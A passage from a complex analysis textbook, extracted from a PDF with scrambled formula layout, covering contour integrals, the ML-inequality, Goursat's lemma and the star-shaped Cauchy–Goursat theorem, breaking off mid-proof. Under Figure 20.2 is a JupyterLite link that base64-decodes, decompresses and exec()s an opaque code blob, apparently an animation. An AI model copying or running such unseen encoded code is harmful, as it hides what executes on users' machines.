|γ′| = ρ and length = 2πρ, as it should be.

19.3 The contour integral
Definition 19.7 (Contour integral). Let γ : [a, b] → C be a contour and let f be continuous on
the image γ([a, b]). The contour integral of f along γ is∫

γ
f(z) dz :=

∫ b

a
f
(
γ(t)

)
γ′(t) dt, (19.10)

the right-hand side being a real-variable integral in the sense of (19.1). (For a piecewise smooth
γ, apply (19.10) on each smooth piece and add.) When γ is closed we often write

∮
γ f(z) dz.

Proposition 19.8 (Well-definedness). The value of (19.10) is unchanged under an orientation-
preserving reparametrisation: if φ : [c, d] → [a, b] is continuously differentiable with φ′ > 0,
φ(c) = a, φ(d) = b, then

∫
γ◦φ f =

∫
γ f .

Proof. By the chain rule (γ ◦ φ)′(s) = γ′(φ(s))φ′(s), so∫ d

c
f
(
γ(φ(s))

)
γ′(φ(s))φ′(s) ds =

∫ b

a
f(γ(t))γ′(t) dt

by the real substitution rule applied to real and imaginary parts.

Theorem 19.9 (Properties of the contour integral). Let f, g be continuous on the contour γ and
c ∈ C. Then ∫

γ
(f + g) =

∫
γ
f +

∫
γ
g,

∫
γ
cf = c

∫
γ
f ; (19.11)∫

−γ
f = −

∫
γ
f ; (19.12)∫

γ1+γ2
f =

∫
γ1
f +

∫
γ2
f. (19.13)

Proof. Linearity is (19.2). For (19.12), put σ(t) = γ(a+ b− t), so σ′(t) = −γ′(a+ b− t) and∫
−γ
f =

∫ b

a
f(γ(a+ b− t))

(
−γ′(a+ b− t)

)
dt s=a+b−t= −

∫ b

a
f(γ(s))γ′(s) ds.

(19.13) is (19.4).

Theorem 19.10 (The ML-inequality). Let γ be a contour of length L = length(γ) and let f be
continuous on γ with

|f(z)| ≤ M for all z on γ. (19.14)

Then ∣∣∣∫
γ
f(z) dz

∣∣∣ ≤ ML. (19.15)

Proof. By (19.10), Lemma 19.3, and (1.24),∣∣∣∫
γ
f
∣∣∣ =

∣∣∣∫ b

a
f(γ(t))γ′(t) dt

∣∣∣ ≤
∫ b

a
|f(γ(t))|

∣∣γ′(t)
∣∣ dt ≤ M

∫ b

a

∣∣γ′(t)
∣∣ dt = ML.
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The ML-inequality is crude — it discards all cancellation — and yet it proves Liouville’s
theorem and Cauchy’s inequalities, it proves Jordan’s lemma (together with Lemma 19.3 and
Jordan’s inequality sin θ ≥ 2θ/π), and it gives the vanishing of nearly every auxiliary arc in
Chapters 29 and 30. Its power comes from being applied on contours whose length or whose
bound is being sent to a limit.

19.4 Two computations that decide the theory
Example 19.11 (The key integral). Let z0 ∈ C, ρ > 0, and n ∈ Z. Let C be the circle C(z0, ρ)
traversed once counterclockwise, parametrised by (19.8). Then∮

C
(z − z0)n dz =

{
2πi, n = −1,
0, n ∈ Z, n ̸= −1.

(19.16)

Proof. With γ(t) = z0 + ρeit we have γ(t) − z0 = ρeit and γ′(t) = iρeit, so by (19.10) and De
Moivre (4.1), ∮

C
(z − z0)n dz =

∫ 2π

0
ρneint · iρeit dt = iρn+1

∫ 2π

0
ei(n+1)t dt.

If n = −1 the integrand is 1 and the value is iρ0 · 2π = 2πi. If n ̸= −1, put m := n+ 1 ̸= 0; then
by (19.5) with H(t) = eimt/(im), ∫ 2π

0
eimt dt = e2πim − 1

im
= 0,

since e2πim = 1 for integer m by Theorem 16.3(ii). □
Two features deserve emphasis. First, the answer does not depend on ρ or on z0: the integral

is a topological quantity, not a metric one. Second, the exceptional exponent is n = −1, and
−1 is exactly the exponent for which (z − z0)n has no antiderivative that is single-valued on a
punctured disc — the antiderivative would have to be a branch of log(z − z0), and the last claim
of Definition 16.10 (proved just after it) forbids one around a circle. The entire residue calculus
is the systematic exploitation of (19.16).

Example 19.12 (Path dependence for a non-analytic integrand). Compute
∫
γ z dz from 0 to 1+i

along two paths.
Path 1: the segment. By (19.7), γ(t) = t(1 + i), γ′(t) = 1 + i, γ(t) = t(1 − i), so∫

γ1
z dz =

∫ 1

0
t(1 − i)(1 + i) dt = 2

∫ 1

0
t dt = 1.

Path 2: along the real axis to 1, then vertically to 1 + i. On the first leg γ(t) = t, γ′ = 1,
z = t, giving

∫ 1
0 t dt = 1

2 . On the second, γ(t) = 1 + it, γ′ = i, z = 1 − it, giving∫ 1

0
(1 − it)idt = i

∫ 1

0
dt+

∫ 1

0
tdt = i+ 1

2 .

Total: 1 + i. Since 1 ̸= 1 + i, the integral of z is path dependent. Compare Example 13.4: z is
nowhere analytic. Theorem 20.4 will show that this is no coincidence.

Example 19.13 (A path-independent one). Compute
∫
γ z dz along the same two paths. Along

the segment,
∫ 1

0 t(1 + i) · (1 + i) dt = (1 + i)2/2 = i. Along the bent path,
∫ 1

0 t dt+
∫ 1

0 (1 + it)i dt =
1
2 +

(
i − 1

2
)

= i. Equal — and indeed 1
2z

2 is an antiderivative of z on all of C, so Theorem 20.2
below applies.
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19.5 Exercises

Exercise 19.1. Evaluate
∫ π

0

(
e2it+ it2

)
dt and

∫ 1

0

dt
1 + it

, writing each answer in the form x+ iy.

Exercise 19.2. Compute
∫
γ Re(z) dz where γ is (a) the segment from 0 to 2 + i, (b) the arc of

the parabola y = x2/4 from 0 to 2 + i. Are they equal? What does this tell you about Re z?

Exercise 19.3. Evaluate
∮
C

dz
z − 2 where C is (a) |z − 2| = 3, (b) |z| = 1, both counterclockwise.

(For (b) you may use Theorem 20.8 once you have read the next chapter, or find an antiderivative
on a disc containing |z| ≤ 1 and use Theorem 20.2.)

Exercise 19.4. Use the ML-inequality to show
∣∣∣∮|z|=2

dz
z2 + 1

∣∣∣ ≤ 4π
3 .

Exercise 19.5. (⋆) Let γ be the circle |z| = ρ counterclockwise. Prove that
∮
γ z dz = 2πiρ2, and

note that this is nonzero even though γ is closed. Reconcile this with Theorem 20.9.

Exercise 19.6. Evaluate
∫
γ |z| dz and

∫
γ |z|2 dz where γ is the upper half of |z| = 1 from 1 to

−1. Are either of these path-independent? (Compare Example 19.12.)

Exercise 19.7. Using (A.17), write
∮

|z|=1 z dz as a pair of real line integrals and evaluate each.
Confirm the total against Exercise 19.5.

Exercise 19.8. (⋆) Let f be continuous on the contour γ and suppose
∣∣∫
γ f
∣∣ = M length(γ) with

M = maxγ |f |, i.e. equality holds in the ML-inequality (19.15). Prove that |f | ≡ M on γ and
that f(γ(t))γ′(t) has constant argument. (Trace the two inequalities in the proof of Lemma 19.3.)

Exercise 19.9. Prove that if f is continuous on γ and |f | ≤ M , and if γ is the arc of |z| = ρ

subtending angle θ, then
∣∣∫
γ f
∣∣ ≤ Mρθ. Deduce a bound for

∣∣∫
γ
eiz

z dz
∣∣ on the upper half of |z| = ρ.



Chapter 20

The Cauchy–Goursat Theorem and
Independence of Path

Example 19.12 showed that
∫
γ z dz depends on the path and Example 19.13 that

∫
γ z dz does

not. The difference is analyticity. This chapter proves the theorem that makes that precise, in
the sharp form due to Goursat, in which no continuity assumption on f ′ is made — a point that
matters, because it is what eventually lets us prove that analytic functions are automatically
infinitely differentiable without circularity.

20.1 Antiderivatives and the fundamental theorem
Definition 20.1 (Antiderivative). Let D ⊆ C be a region and f : D → C. A function F : D → C
is an antiderivative (or primitive) of f on D if F is analytic on D and

F ′(z) = f(z) for every z ∈ D. (20.1)

Theorem 20.2 (Fundamental theorem for contour integrals). Let D be a region, let f be contin-
uous on D, and suppose f has an antiderivative F on D. Then for every contour γ in D with
initial point z1 and terminal point z2,∫

γ
f(z) dz = F (z2) − F (z1). (20.2)

In particular the integral depends only on the endpoints, and
∮
γ f = 0 for every closed contour γ

in D.

Proof. Assume first that γ : [a, b] → D is smooth. Define h(t) := F (γ(t)). By the chain rule —
in the mixed form used in Theorem 13.10, where the outer function is complex analytic and the
inner variable is real —

h′(t) = F ′(γ(t)
)
γ′(t) = f

(
γ(t)

)
γ′(t) (t ∈ [a, b]),

with one-sided derivatives at a and b; this is continuous on [a, b]. For completeness, here is the
proof of the mixed chain rule. Fix t ∈ [a, b], put w0 := γ(t), and let η(w) := F (w)−F (w0)

w−w0
− F ′(w0)

for w ̸= w0, η(w0) := 0; then η is continuous at w0 and F (w) −F (w0) =
(
F ′(w0) + η(w)

)
(w−w0)

for all w ∈ D. Hence for real s ̸= 0 with t+ s ∈ [a, b],

h(t+ s) − h(t)
s

=
(
F ′(w0) + η

(
γ(t+ s)

))γ(t+ s) − γ(t)
s

−→ F ′(w0)γ′(t) (s → 0),

138
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because γ is continuous, so η(γ(t+ s)) → η(w0) = 0. Hence by (19.10) and (19.5),∫
γ
f(z) dz =

∫ b

a
h′(t) dt = h(b) − h(a) = F (z2) − F (z1).

For a piecewise smooth contour, apply this on each smooth piece and add: the intermediate values
of F cancel telescopically. If γ is closed then z1 = z2 and the right side of (20.2) is 0.

Example 20.3.
∫
γ z

n dz = zn+1
2 −zn+1

1
n+1 for n ≥ 0 and any contour, since zn+1/(n + 1) is entire.

For n ≤ −2 the same formula holds on C \ {0}. For n = −1 there is no antiderivative on C \ {0}
— and indeed (19.16) gives 2πi ̸= 0 around a circle. The absence of a global antiderivative and
the nonvanishing of a closed integral are the same fact.

Theorem 20.4 (Converse: path independence gives an antiderivative). Let D be a region and f
continuous on D. The following are equivalent.

(i) f has an antiderivative on D.

(ii)
∮
γ f = 0 for every closed contour γ in D.

(iii)
∫
γ f depends only on the initial and terminal points of γ, for contours γ in D.

Proof. (i)⇒(ii) is Theorem 20.2.
(ii)⇔(iii): if γ1, γ2 share endpoints then γ1 + (−γ2) is closed, and by (19.12) and (19.13),∮

γ1−γ2
f =

∫
γ1
f −

∫
γ2
f ; this vanishes iff the two agree. Conversely every closed contour splits into

two contours with common endpoints.
(iii)⇒(i): fix z0 ∈ D and define

F (z) :=
∫
γz

f(ζ) dζ, (20.3)

where γz is any contour in D from z0 to z; such a contour exists because D is a region (Defini-
tion 5.8), and by (iii) the value does not depend on the choice, so F is well defined. Fix z ∈ D
and choose ε > 0 with D(z, ε) ⊆ D. For 0 < |∆z| < ε the segment [z, z + ∆z] lies in D(z, ε), so
we may compute F (z + ∆z) by appending it to γz:

F (z + ∆z) − F (z) =
∫

[z, z+∆z]
f(ζ) dζ.

Since
∫

[z,z+∆z] dζ = ∆z (take f ≡ 1, F (ζ) = ζ in Theorem 20.2), we may write

F (z + ∆z) − F (z)
∆z − f(z) = 1

∆z

∫
[z, z+∆z]

(
f(ζ) − f(z)

)
dζ.

Given η > 0, continuity of f at z gives δ ∈ (0, ε) with |f(ζ) − f(z)| < η whenever |ζ − z| < δ. For
|∆z| < δ every ζ on the segment satisfies this, so the ML-inequality (19.15), with M = η and
L = |∆z|, bounds the right side by 1

|∆z| · η |∆z| = η. Hence the difference quotient tends to f(z):
F is differentiable at z with F ′(z) = f(z). As z was arbitrary, F is an antiderivative.
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20.2 Goursat’s lemma
Theorem 20.5 (Goursat). Let D be an open set and f analytic on D. Let ∆ ⊆ D be a closed
triangle (the convex hull of three points), and let ∂∆ denote its boundary traversed once. Then∮

∂∆
f(z) dz = 0. (20.4)

More generally, (20.4) holds if f is only assumed continuous on D and analytic on D \ {p} for
one point p ∈ D.

Proof. Write I(∆) :=
∮
∂∆ f . Bisect the sides of ∆ and thereby divide it into four closed subtrian-

gles ∆(1), . . . ,∆(4), each similar to ∆ with ratio 1
2 . Orienting each boundary consistently, every

interior edge is traversed twice in opposite directions, so those contributions cancel by (19.12) and

I(∆) =
4∑
j=1

I
(
∆(j)). (20.5)

Hence |I(∆)| ≤ 4 maxj
∣∣∣I(∆(j))

∣∣∣, so at least one j has
∣∣∣I(∆(j))

∣∣∣ ≥ 1
4 |I(∆)|. Choose such a

subtriangle and call it ∆1. Repeating, we obtain a nested sequence

∆ = ∆0 ⊇ ∆1 ⊇ ∆2 ⊇ · · ·

with

|I(∆n)| ≥ 4−n |I(∆)| , diam(∆n) = 2−n diam(∆), length(∂∆n) = 2−nL, (20.6)

where L = length(∂∆).
The ∆n are nonempty nested compact sets with diameters tending to 0, so by Theorem 5.13

their intersection is a single point z∗ ∈ ∆ ⊆ D. (Pick wn ∈ ∆n; the sequence is Cauchy by the
diameter bound, and its limit lies in every ∆n since each is closed.)

Now use differentiability at z∗, in the little-o form of Exercise 13.5; the direction needed here
is immediate, since f(z)−f(z∗)

z−z∗
− f ′(z∗) → 0 as z → z∗ (and for z = z∗ both sides below vanish).

Thus given η > 0 there is δ > 0 with D(z∗, δ) ⊆ D and∣∣f(z) − f(z∗) − f ′(z∗)(z − z∗)
∣∣ ≤ η |z − z∗| for |z − z∗| < δ. (20.7)

The function z 7→ f(z∗) + f ′(z∗)(z − z∗) is a polynomial, hence has an antiderivative on C, hence
integrates to zero over the closed contour ∂∆n by Theorem 20.2. Therefore

I(∆n) =
∮
∂∆n

[
f(z) − f(z∗) − f ′(z∗)(z − z∗)

]
dz.

Choose n so large that diam(∆n) < δ; since z∗ ∈ ∆n, every z ∈ ∂∆n satisfies |z − z∗| ≤
diam(∆n) = 2−n diam(∆), and (20.7) applies. TheML-inequality (19.15) withM = η 2−n diam(∆)
and length 2−nL gives

|I(∆n)| ≤ η 2−n diam(∆) · 2−nL = η 4−n diam(∆)L.

Combining with the first inequality of (20.6),

4−n |I(∆)| ≤ |I(∆n)| ≤ η 4−n diam(∆)L =⇒ |I(∆)| ≤ η diam(∆)L.
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Since η > 0 was arbitrary and diam(∆)L is a fixed finite number, I(∆) = 0.
One exceptional point. Now let f be continuous on D and analytic on D \ {p}. For points

u, v, w write
J(u, v, w) :=

∫
[u,v]

f +
∫

[v,w]
f +

∫
[w,u]

f,

the integral over the boundary of the triangle with vertices u, v, w, traversed u → v → w → u (an
edge with equal endpoints contributes 0). Since J(u, v, w) = J(v, w, u) we may take ∂∆ to start
at any vertex. If w lies on the segment [u, v], then

∫
[u,v] f =

∫
[u,w] f +

∫
[w,v] f (split the parameter

interval and use (19.4) and Proposition 19.8), and the four resulting edge integrals cancel in pairs
by (19.12). Hence J = 0 for a degenerate triangle (three collinear vertices), for every continuous
f . Also, for any four points u, v, w, q,

J(u, v, w) = J(u, v, q) + J(v, w, q) + J(w, u, q),

because the added edges [v, q] and [q, v], [w, q] and [q, w], [u, q] and [q, u] cancel in pairs by (19.12).
If p /∈ ∆, then ∆ lies in the open set D \ {p}, on which f is analytic, and the case already

proved applies. If ∆ is degenerate, I(∆) = 0 as just shown. So let ∆ be non-degenerate with
p ∈ ∆. If p is not a vertex, write ∆ with vertices u, v, w and apply the last identity with q = p:
each of the three triangles on the right lies in ∆ (which is convex), has p as a vertex, and is either
degenerate or non-degenerate. So it suffices to treat a non-degenerate ∆ with vertices p, b, c. For
0 < s ≤ 1 put bs := p + s(b − p) and cs := p + s(c − p). Splitting [p, b] at bs and [c, p] at cs as
above, and cancelling the edges [bs, cs], [cs, bs] and [bs, c], [c, bs],

J(p, b, c) = J(p, bs, cs) + J(bs, b, c) + J(bs, c, cs).

Every point of ∆ is uniquely λp + µb + νc with λ, µ, ν ≥ 0 and λ + µ + ν = 1 (because ∆ is
non-degenerate). The point p has λ = 1, while bs, cs have λ = 1 − s and b, c have λ = 0; so
every point of the two closed triangles with vertices bs, b, c and bs, c, cs has λ ≤ 1 − s < 1. These
triangles therefore lie in D \ {p}, and their integrals vanish by the case already proved. The
triangle with vertices p, bs, cs is ∆ scaled by the factor s about p, so its boundary has length sL;
and M := max∆ |f | < ∞ by Theorem 12.13, since f is continuous on the compact set ∆. The
ML-inequality gives

|I(∆)| = |J(p, bs, cs)| ≤ M sL for every s ∈ (0, 1],

and letting s ↓ 0 gives I(∆) = 0.

∆ → 4 pieces

z∗

nested, diameters 2−n

Figure 20.1. The bisection in Goursat’s proof. Joining the midpoints of the sides splits ∆ into four
similar triangles; each interior edge is traversed once in each direction, so those contributions cancel
and (20.5) holds. One of the four carries at least a quarter of the integral; iterating produces the
nested sequence (20.6), whose diameters halve each time and whose intersection is the single point z∗
where differentiability is finally used.
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¢1 ¢2

¢3

¢4

On every inside edge two arrows point opposite ways
so those parts of the four integrals cancel

Figure 20.2 (animated). Why (20.5) holds. A point runs once round ∂∆, counterclockwise. The four
subtriangles are pulled apart and a point runs round each, counterclockwise, all at once, leaving an
arrow on each edge. The pieces slide back: along every interior edge two arrows now point in opposite
directions, so by (19.12) those two contributions cancel, and the arrows left over are exactly those of
∂∆. This uses nothing about f beyond continuity.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=cancel3_jigsaw&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqlWftv20YS%2Fp1%2FxR7ToGQqM3rYTmtHAZw0RXPXJEYipAeogrAiVxIjimS4pG0lzf9%2B38wuH%2FIjrXsGLFH7mPd8M7t0IrUUeSJ33jJe9cSykFtlv3RPxGmpiguZ9MRikV2N32Sp8k8cgb94m2dFKeIMU1Kr48Oe2MoyT7IyiRdBvqMnITVIl7x%2BWWRb8ep8V66zNIhiTSxrIr9OXv%2FWE3aQV2NXECaZViSVz0N22qPFnuu6T%2BPtSsTR2M2Xczy6Qpe7RI3dsCp0VpzkGcvuijIueTiJw40oM5HLSiv3mfNUh0Wcl8%2BcC1mIfCnG4jJOo%2Bwy4OcvyxMxnfXE5kT0e6Ko0hNRFpX6CpOA7VhEWVhtVVoGK1W%2BTBQ9Pt%2B9irxaGv%2FUwVeQpYbvWCyrNCzjLBWeL76AXwCaGP6XeToVX08drcpX1t7e3nLoHy%2BFZ9eKP%2F%2Bk%2FRvxbEzfyyBR6apc%2B6JQZVWkp7QarHURCrNgSqtnp2bTWHj8%2FYMY%2BOLhQ%2FEwOnWg1cMIEj99bG0C84qHwrseBb5vXLFUKiIb7HvEb1w4h1smsJZdnRViAxqikOlKWaI2ikxkYMDb%2BM3AoiIPxFnwfFcq%2Feqt104hGgItLxS%2BPSzrEXGEHYIgXbkmSOdxGq6VHtNzuxHzoGkiNVgcH6o0zCJFNMiD0K1Snu8HkeLhDkOoGlR5JEtl9Py%2Bjhs2fV7ptediVp7EW7lSj8Hn1ObDQ%2B36jUW%2Fhz0xBwM%2BEAf4EyqNRLYU%2F65yKFn8FpeKs1AVPO3AA7%2Bvd6JcK7b%2BqpCJKLIKmyQCMYYlE8xoXqCrLZHqrtV2cVxqmKhCgMcqVNrxLlShKaxGJyKvkoQ3mTkhc4lclNiVVyVNbGGvcOMHzvtS5WJwIhDNyhKmfYt41cjSEyHGoQmyNtxcxloFgrcNT3htRwghC8XMEUQtTyk4Yx0EeC28kuH6Jt2ekJBbliyNZTI66SqikzhSLHsgzpIMnldQG2iTappQ0UqJ8jJzZFFkl1qk2aXhLbI8zzR54lLu9CmR3IlQgg3wT1ql7aZELbEeZFkbgJpW5ANjqcA53%2F0C44RZegFggL2NfCYWBBA3TiEngpjJ1gnQo0UpOCaJNpAcBAHMj1hA1LxfgxN8Qwaz3jayJZKBQqaIQHrSwtvKjZqbWUAx9mgkEoKB4iNju1pZQP2BmIBUE1OWdJphx%2FckYlXA5E0cbePI2EpXi3qPNtbhcU1YmcaweRMn28CxOJ9WW0iDopDm9VBbM5xO%2BQBCe%2B7ZCjB6c9212sJ1pTMbZklW6LqylNm8WC0ch%2BpJEZ5LWFrX6fzFxbZ1qa7KYJlBclW6J8INt8ARlwaCpdzGyY4GtSriZTOu488Ko4PhV9%2F5AFRJ8wBRAXdN%2B4DV%2FseeGNnvQTDA0zAYfJz54vrfA%2FGzSkp5M8Kd1yA69T5M%2BzPs%2FjAdYPNjMewJj555aNgZGpqhvhmaMWVyYe0qTT4lB1L0a%2Bc%2Fr35%2BT%2FRbqWlvT7y2n8PZDJHYzppx4kyzA55thJ8PgsA8HJq8vK7LaYOkXYpDS6vHqlznN7ByGJlm%2FqzD77AGPWgXUbimynnx9jfWyC3l4mQBJCdP0fOqUCqtf%2BRVkSfNFFLJnTlvzl6%2F5K2F%2B90fVqHvsKT9Odz%2FOdr%2FefgdiDgOtVBxmqrCgzcX%2Fon4%2B38PkDoGkT7CV5Q3QKaO65KYEtcAF%2FNke5pKj2WpJxfak%2BJAbH0utFsqtK998VQM1MFPnJf1qsVdq6wGsvQmPVFXZoAOQyonuySMMv2IrhECGGlzfHIzhE27N6EIhnTlOi6iel8Zb0EWwElaA3%2BI2e9xuaZVmmZhhJ64BBISand9bWThAiEZ1mG6Dqb3RCtwjWIqXq0XwC3QZEYNzHWoMDIDgY0bZNkObDPq6wzdDB8FKR0QHBMtjcAh227llQcI7Ad9nzK%2B74tHYsQrNnYFJPI0Jod%2B13uT6YYy15tMvbodE6MZnEQTRMTT%2BIG%2ByLinLGScWA%2FdK8DYKkA60lnoTCxlQQ4rEK8UWmFSRSr6mxpZ0dtsnUzVjENKtR3evsqsGik6tQEGlBr5s1otvYZzNjQR3kcvVC2UMEk9xAJFWkh4uWSUC%2BGyIoujPVMHWyVTj2QJybATsrIdqwXZxlceige8fU%2F7YhNsChvS6WKRoO0gkcou%2F7IC9HjeAGxLMmZjP1OfiK%2FPgii0jnBCIreLSIoLHD6CI2yiT94VZtrDVx7jZ%2B2pi66nfCeJL4jEtAamMFGy8GxWX65jBD8taftv%2BhXkWe75QaG26Gm82iQJ2hRPXvXEeU88erS5tETObc3TRodzE9VMBsUUjS32BFSPvXNQpMPjeUDdsSVSU4%2BwgIh%2FpmjEIj1%2B0rccmJbMc0sLji6BLt70M9NDYcATUZzRLs37s2LMVD5nRaSK8XGP09lMuFC7JOhPLseDhj93ciwBobYVQib5Wo5hSV48pO%2BtHg%2BeMCIVagxPtAAJ%2FGEiayUBb6kBDrUi0ABkHjwjqoxHhOuMiJJjpEaQvCc%2BwZaSUIDQWXLWMyN2ev8nePXW2R%2FM7G3Gkil6N%2BpvXCh8tRt7n6wTPrHJfBqkpmfs5XYiryes7Y56zrcinlXOiyzX4ygO4UPuiM3h%2B%2BDPZ%2B6eO2DE5LI2K3%2FCoFXJjeqcE3i81X7jExKsDgq9F3TXtOSFn60Cn214YQe4uIQAOPn3xEX3Rx171HWP%2BYLBNLd0w0Ad3dh7EqCJOYaDfUde0ZEdh00ZRXN5pTR6u6A%2F5Ezjz5%2BO6fPHw5l%2FKihCVTmXOlcwh6s%2BVTJxzbi8irXnZsulSzR52VUSb72DfvDkCH0iPlsCOzsD0kOacPjqwgrCCiP6mPkRvsi9e9pyE0uKDEbQwUGDftvW%2Fre3Dmvvuf1gBKHfnPXEm5f4f4H%2Fd%2Fj%2FL%2F5%2FBeERpBz82BOH%2BB9i15Ck7jvPDTaE1RanUhgNq2%2BlAPx%2F%2F%2BLXlz8T2MW69EzleD49QLPrO29%2F%2BYUgDAY%2BYriu4ftAfKhRm4vOhIoONbSza%2FWu7hjoQCh0ieMcHWqds3fviG5bc8DhTko3GjVz8sMBUXysdNm0HnSaYkY2hlGIqBNsgUTTVxPGFlJNOf9A5bwx%2Bca1qHO8lzHtNUqnyI46NyjxEieOR6isz4SBhuMT50bGMtcPKNf06am240A8EOM9hkYT1srDOcbkllF43tGMqx0wEY%2BrJLukpxYdTYv8UVBJicgqVBZXfJlmG8cqJzik46MxrYVQAm5Nh1aNJt1CJXx1NofvyEXTj9ROrKAx4gQ%2FMPXu3fXB22rSMk7QQVnQmFjQMLanMwSTMtr1cXBD4FHBZh19dkzf3n99MkFezKcQazI9waHotPXsp04KPTmqq85f%2BbDq9F7GmQdCdSt719uVeDoW%2FX0nhxnVmUq161Lq58y5xJqNvV8%2Fd2OgpS4T3tR6mvgRKZWgNYEgzUq6XrRm21tDjVRjTmO9ljpGsG3Cgkz2ROj0I9aQU3m9%2BlWzprjYTKGTtjfEFMXfnhhktzqmrxnv2bdS5GzOwuFrP0nClpztCYj1k9tZG4YY03TGalnVPU991uqJxlJHR2ZTUwJr1CMIxTGVF10L1g7kN61LE7I2ievbJSOE7QZr8TYQ7zkO3K2EFDMbtOjemzNQGrSWM7BmAA01q6OJBTGgSLuaSxdXNdbH%2FUdXiB16qGYtNTqAU1s1%2F%2FIHXYfFMjHn8a9i%2BUcv%2Bvyd3aeSRsNhR0Mq%2F9Rnezh2HbD2Puv7kvW9oTB3YlyHVp1rYSTyxzaRD%2F39aOoCZ7%2Bbu7eaZdi5i927J%2BW7viAI7rKDe1PR0TVXWh2HVscXt%2FkUYHd0f9VsJNypGuTm64cW7rlSZqn6izvd%2B3p9PvjKbv%2Fh9tnhN2dHZta9veMt3Du2HX69K9IOr0UaxU832kbWE%2B%2BuRds9ImrwlxHFt%2Ftl906cbsPvEUZHHS3yNowOrfD%2F3Q8jBkAuiRoVrHs%2BzbG8Hxwe2cPpqVg2yZdzYh0e%2Bbzk6B9EIPcdHIb7nQkIL%2BveZGk7E%2Fq422hv09tfEdSNyS2vB%2B40ps7s6wCKmOa2jPO6fTtj7uYbu%2BvOcbzB2bvF%2FX2NVIm7LyHwQ13JsEx29hXEvaGT43n8fyTYfVNo9E2inQRzEJUuvQ5xKSbgyAUs6NlLmgcCJ9GLODL3QGRp8%2BoFPR6OsgKRZIe7L9rQYWzsa%2BZb33uPE5V6fDzx25ef42OEKLvqzhMCyEFC847bvpHKNHY3r7TrVxBTN4%2BW%2FNah3OXKnSEpDodO%2BzJ0MKobxs77zvkc%2Fauaz4NC50mMMHiM3nLg05EJLS14IyvcIN%2FRFffcMA7AxgXI%2FA9Vw0cu%27%29%29.decode%28%29%0Aexec%28src%29
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Goursat, stage 1: zooming into ¢1,  diameter 1:500,  4njI(¢n)j= 1:965
darker: a larger jIjj among the four pieces of ¢n; the outlined piece carries at least a quarter of I(¢n), so 4njI(¢n)j never decreases

Figure 20.3 (animated). The bisection in the proof of Goursat’s theorem, as a zoom through the
nested triangles ∆0 ⊇ ∆1 ⊇ · · · . At each level the four pieces of ∆n are shaded by

∣∣∣I(∆(j)
n )
∣∣∣, darker

for larger; by (20.5) one of them has
∣∣∣I(∆(j)

n )
∣∣∣ ≥ 1

4 |I(∆n)|, and it is outlined and becomes ∆n+1; the
pieces not chosen turn grey. The title shows diam(∆n), which halves at each step, and 4n |I(∆n)|,
which therefore never decreases: if I(∆) ̸= 0 it stays at least |I(∆)| > 0 while the triangles shrink
to z∗, which the rest of the proof shows is impossible. Since the argument works by showing that
|I(∆)| is smaller than every positive number, the animation needs a function whose integrals are not
0: it uses the non-analytic f(z) = (z − p) e−|z−p|2/s e2.2i Re z. For an analytic f every I(∆n) is 0; the
bookkeeping is the same for every continuous f .

Remark 20.6 (Why Goursat, and not Green). If one assumes f ′ continuous, (20.4) follows in three
lines from Green’s theorem: writing f = u+ iv and dz = dx+ i dy,∮

∂∆
f dz =

∮
(udx− v dy) + i

∮
(v dx+ udy) =

∫∫
∆

(−vx − uy) dA+ i

∫∫
∆

(ux − vy) dA,

and both double integrals vanish by the Cauchy–Riemann equations (14.1). Goursat’s achievement
is to avoid the continuity hypothesis. This is not fastidiousness: in Chapter 21 we deduce from
the Cauchy–Goursat theorem that f ′ is continuous — indeed that f has derivatives of all orders
— and that deduction would be circular if we had assumed it here.

20.3 The Cauchy–Goursat theorem
Definition 20.7 (Star-shaped and simply connected). A region D is star-shaped with respect to
z0 ∈ D if for every z ∈ D the segment [z0, z] of (19.7) lies in D. It is convex if it is star-shaped
with respect to each of its points. A region D is simply connected if every closed contour in D can
be continuously deformed within D to a point; precisely, for every closed contour γ : [a, b] → D
there is a continuous map H : [a, b] × [0, 1] → D (a homotopy from γ to a constant) with

H(t, 0) = γ(t), H(a, s) = H(b, s), H(t, 1) = H(a, 1)
(
t ∈ [a, b], s ∈ [0, 1]

)
.

Informally, D has no holes.
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An annulus is not star-shaped: the same homotopy leaves D

red: the part of H(¢; s) in the hole jzj∙ 1, which is not in D

s=

is H(¢; s) inside D?

1
2¼i

I
H(¢; s)

dz=z=

0.659

NO (red part)

0.0000

Figure 20.4 (animated). Definition 20.7 as a motion. In a star-shaped sector every point of the loop
slides along its segment to z0, the loop stays in the region and collapses, and 1

2πi

∮
dz/z stays 0. In

the annulus 1 < |z| < 2 the same homotopy leaves the region (red) and the value jumps from 1 to 0
where the curve passes through 0; deformations that stay inside the annulus leave it at 1, even when
the loop is pressed against the hole. (That no deformation inside the annulus shrinks the loop is the
argument of the text; the animation shows some deformations, not all.)

Every star-shaped regionD, with star centre z0, is simply connected: H(t, s) := (1−s)γ(t)+sz0
is continuous, lies in D because the segment [z0, γ(t)] does, and has the three properties required.
Discs, half-planes and convex sets are star-shaped. So is every sector {reiθ : r > 0, θ1 < θ < θ2}
with 0 < θ2 − θ1 ≤ 2π, with respect to any point q on its bisecting ray: if the opening is at most
π the sector is convex; otherwise its complement K is a closed convex cone containing −q, and
if the segment from q to a point z of the sector met K at w = (1 − t)q + tz with 0 < t < 1,
then z = 1

t w + 1−t
t (−q) ∈ K, which is absurd. In particular the slit plane C \ (−∞, 0] (star-

shaped with respect to 1) is simply connected. The punctured plane C \ {0} and any annulus
{r < |z − c| < R} are not: 1/(z − c) is analytic there, but its integral over a circle C(c, ρ) inside
is 2πi ̸= 0 by (19.16), contradicting Theorem 20.9 (so this argument uses Theorem 20.9, whose
proof below is only sketched).

Theorem 20.8 (Cauchy–Goursat, star-shaped case). Let D be a star-shaped region and f analytic
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on D. Then f has an antiderivative on D, and consequently∮
γ
f(z) dz = 0 (20.8)

for every closed contour γ in D. The same conclusions hold if f is only assumed continuous on
D and analytic on D \ {p} for one point p ∈ D.

Proof. Let z0 be a star centre and define

F (z) :=
∫

[z0,z]
f(ζ) dζ, (20.9)

legitimate because the segment lies in D. Fix z ∈ D and take ε > 0 with D(z, ε) ⊆ D. For
|∆z| < ε the triangle ∆ with vertices z0, z, z + ∆z lies in D: its edges [z0, z] and [z0, z + ∆z] lie
in D by star-shapedness, the edge [z, z + ∆z] lies in D(z, ε), and the interior is covered by the
segments from z0 to points of [z, z + ∆z]. Goursat’s Theorem 20.5 gives

∮
